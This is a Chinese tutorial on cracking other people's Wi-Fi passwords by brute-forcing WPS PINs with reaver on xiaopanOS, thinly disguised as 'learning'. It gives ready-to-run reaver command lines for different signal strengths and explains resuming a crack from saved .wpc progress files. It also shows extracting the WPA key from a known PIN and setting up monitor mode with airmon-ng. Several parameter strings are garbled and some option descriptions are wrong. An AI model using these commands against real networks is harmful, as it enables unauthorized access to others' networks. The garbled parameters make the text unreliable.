发布时间：2023-05-15 12:00
（非TP-LINK路由推荐–d9 –t9参数防止路由僵死
reaver -i mon0 -b MAC -a -S –d9 –t9 -vv）
小结-学习时应因状况调整参数（-c后面都已目标频道为1作为例子）
目标信号非常好: reaver -i mon0 -b MAC -a -S -vv -d0 -c 1
目标信号普通: reaver -i mon0 -b MAC -a -S -vv -d2 -t 5 -c 1
目标信号一般: reaver -i mon0 -b MAC -a -S -vv -d 5 -c 1
参数一：-a -n -N -x 20 -r 100:10 -| 60 -t 2 -v d 0 (我默认使用这个)
参数二：-a –v –N –x20–r100:10 l300 –t12 –d0 （如想多等会，可将–t12修改为–t15等）
参数三：-a –v –S –x20–r100:10 l300 –t12 –d0 （如重码多且速度太快，可将–d0修改为–d2）等）
参数四：-a –v –N –x20–r100:10 l300 –t12 –d0 –S（其他参数也可试一下，不要加-n）
xiaopanOS中reaver参数
-a -v -S -x 20 -r 100:10 -l 300
光盘启动、u盘/硬盘启动保存学习进度的方法
reaver1.3的保存路径：打开桌面最后边一个图标xfec 定位到/etc/reaver下，有一个wpc后缀的文件，名字是你学习的目标的mac地址，复制到你的U盘，路径是/mnt/sdb1（一般是这个，自己找找，要是没有东西就右键mount），以后重启到xiaopanOS，把这文件复制到原来的路径，再试试，可以载入进度了！o(∩_∩)o 哈哈
reaver1.4的保存路径：保存目录：/usr/local/etc/reaver如果xfe文件管理器未获得ROOT权限。请先运行root shell后输入xfe即可获得root权限。保存方法同上。下次重启动后，再手工复制到/etc/reaver/ 目录下即可
MAC地址.wpc 其实是个文本文件，格式与破密用字典酷似，其第一行和第二行，分别是4位数和3位数的指示位置数（+4）。
------------------------------------------------------------------------------
如果进度到99.9%后，AP死机，可打开它，总共1000个3位数，找出剩余的十几个PIN码，用QSS、WPS客户端软件,手动测试、破密。如果是跑了99.99%死机, 意味吗？ 你懂的吧？ 最后一个PIN就是。
以下这个命令是指定PIN码，获得WPA 密码PSK
reaver -i mon0 -b MAC -p PIN8位数
如果上述措施不后，仍不见PSK密码，可能因软件原因，漏码了！需要重新跑后三位数！
（前四位正确的话）reaver -i mon0 -b MAC -p PIN前4位数
1.遇见8187驱动RF-kill的 xiaopanos
对8187的网卡支持不是太好，有时会出现驱动加载不了，就是输入第一条命令后出现operation not possible due to RF-kill，我想大部分人也遇到过把。新版本0.34使用命令rfkill unblock all解决这个问题，容易出现问题的是0.3.2版本的。
第一种尝试的解决办法：这时候就断开USB，等上大概10几秒把再插上，连续插拔几次总有一次会好。
第二种尝试的解决办法：先运行一下奶瓶扫描一会，然后退出奶瓶。 虚拟机 USB图标（USB图标上的小点）由深绿变成浅绿色，变浅绿就输入
ifconfig wlan0 up
airmon-ng start wlan0
第三种解决办法：出现错误后的解决
a.Root Shell窗口敲击命令“ifconfig -a”，查看最后一项是否出现wlan0，这个就是你的无
线网卡。如果没有出现拔插网卡，直到测试出现wlan0。
b.接下来输入第二条命令“ifconfig wlan0 up”,接下来第三条“airmon-ng start wlan0”载入
网卡。如果出现operation not possible due to RF-kill，不要惊慌继续输入命令“airmon-ng start
wlan0”多输入几次，然后拔出USB网卡，再插入，重复第2步的命令。一般情况下就会
正常载入了括号内只会显示monitor mode enabled on mon0，不会出现operation not possible
due to RF-kill，如果不行以上步骤再次重复，直到解决。
c.输入“airodump-ng mon0”（如果括号内显示的是monitor mode enabled on mon1，相应的
命令就改为airodump-ng mon1，其他的类似），测试一下，要是可以正常扫描，说明8187L加载成功，就可以reaver了，你懂的！
reaver参数说明
必须参数
-i, --interface=
-b, --bssid=
AP的MAC地址
Optional Arguments: 可选参数
-m, --mac=
指定本机MAC地址
-e, --essid=
路由器的ESSID，一般不用指定
-c, --channel=
输出日志文件
-s, --session=
恢复进度文件
-C, --exec=
-D, --daemonize Daemonize reaver
设置reaver成Daemon
-a, --auto Auto detect the best advanced options for the target AP 对目标AP自动检测高级参数
-f, --fixed Disable channel hopping
禁止频道跳转
-5, --5ghz Use 5GHz 802.11 channels
使用5G频道
-v, --verbose Display non-critical warnings (-vv for more) 显示不重要警告信息 -vv 可以显示更多 -q, --quiet Only display critical messages
只显示关键信息
-h, --help Show help
显示帮助
Advanced Options:高级选项
-p, --pin=
-l, --lock-delay=
[60]
AP锁定WPS后等待时间
-g, --max-attempts=
最大pin次数
1/2
-x, --fail-wait=
[0]
10次意外失败后等待时间，默认0秒 -r, --recurring-delay=
-t, --timeout=
-T, --m57-timeout=
-A, --no-associate Do not associate with the AP (association must be done by another application)
不连入AP（连入过程必须有其他程序完成） -N, --no-nacks Do not send NACK messages when out of order packets are received
不发送NACK信息（如果一直pin不动，可以尝试这个参数）
-S, --dh-small Use small DH keys to improve crack speed 使用小DH关键值提高速度（推荐使用） -L, --ignore-locks Ignore locked state reported by the target AP 忽略目标AP报告的锁定状态
-E, --eap-terminate Terminate each WPS session with an EAP FAIL packet 每当收到EAP失败包就终止WPS进程 -n, --nack Target AP always sends a NACK [Auto] 对目标AP总是发送NACK，默认自动 -w, --win7 Mimic a Windows 7 registrar [False] 模拟win7注册，默认关闭
Ps：影响到无线的因素很多，所以各参数之间的配合很重要，当然，最关键的还是取决于信号。